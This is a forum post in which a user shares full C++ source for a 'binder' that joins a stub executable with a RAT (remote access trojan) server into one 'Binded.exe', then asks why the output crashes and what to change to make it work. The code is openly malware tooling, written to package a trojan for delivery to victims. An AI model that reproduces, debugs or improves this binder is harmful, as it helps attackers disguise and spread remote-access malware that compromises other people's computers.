First of all, just registered and this forum looks great!
PROBLEM: My program which I wrote in Code::Blocks, has compiled fine and has worked fine, but when I run the outputted file called (BINDED.exe) it shows a very quick console window then closes, I think this is due to the fact I may have corrupted the data.
It takes 2 files, reads them both into 2 separate buffers (first one my RAT server) and creates a new .exe.
It makes sure it's at the beginning, then puts the stub source in first, THEN puts the RAT server contents, after the stub.
Example:
FILE 1 = 100kb
FILE 2 = 334kb
OUTPUT = 434kb
#include <iostream>
#include <fstream>
using namespace std;
void openMalware();
void readMalware(ifstream& myfile);
void openStub(unsigned long& malware_length, char* malware_buffer);
void readStub(unsigned long& malware_length, char* malware_buffer, ifstream& mystub);
void bindFiles(char * malware_buffer,unsigned long& malware_length,char * stub_buffer,unsigned long& stub_length);
int main()
{
openMalware(); //Function Jump
cout << "Done!" << endl;
return 0;
}
void openMalware()
{
string malware_name;
cout << "Filename to open, (not including .EXE)" << endl;
getline(cin, malware_name);
malware_name += ".exe";
ifstream in_malware;
in_malware.open(malware_name.c_str(), ios::in|ios::binary);
if (in_malware.is_open()) {
readMalware(in_malware);
}
else {
cout << "Failed to open file!" << endl;
in_malware.close();
}
}
void readMalware(ifstream& myfile)
{
unsigned long malware_length = 0;
char * malware_buffer = 0;
myfile.seekg(0,ios::end);
malware_length = myfile.tellg();
myfile.seekg(0,ios::beg);
malware_buffer = new char[malware_length];
myfile.read(malware_buffer,malware_length);
myfile.close();
openStub(malware_length,malware_buffer);
}
void openStub(unsigned long& malware_length, char* malware_buffer)
{
ifstream mystub;
mystub.open("stub.exe",ios::in|ios::binary);
if (mystub.is_open()) {
readStub(malware_length,malware_buffer,mystub);
}
else{
cout << "Make sure stub is in directory, and is named ""stub""" << endl;
delete[] malware_buffer;
}
}
void readStub(unsigned long& malware_length, char* malware_buffer, ifstream& mystub)
{
unsigned long stub_length = 0;
char * stub_buffer = 0;
mystub.seekg(0,ios::end);
stub_length = mystub.tellg();
mystub.seekg(0,ios::beg);
stub_buffer = new char[stub_length];
mystub.read(stub_buffer,stub_length);
mystub.close();
bindFiles(malware_buffer,malware_length,stub_buffer,stub_length);
}
void bindFiles(char * malware_buffer,unsigned long& malware_length,char * stub_buffer,unsigned long& stub_length)
{
ofstream binded;
binded.open("Binded.exe",ios::out|ios::binary);
binded.seekp(0,ios::beg);
binded.write(stub_buffer,stub_length);
binded.seekp(0,ios::end);
binded.write(malware_buffer,malware_length);
delete[] malware_buffer;
delete[] stub_buffer;
}
What do I need to change/LEARN in order to make this work?
Thank you DANIWEB!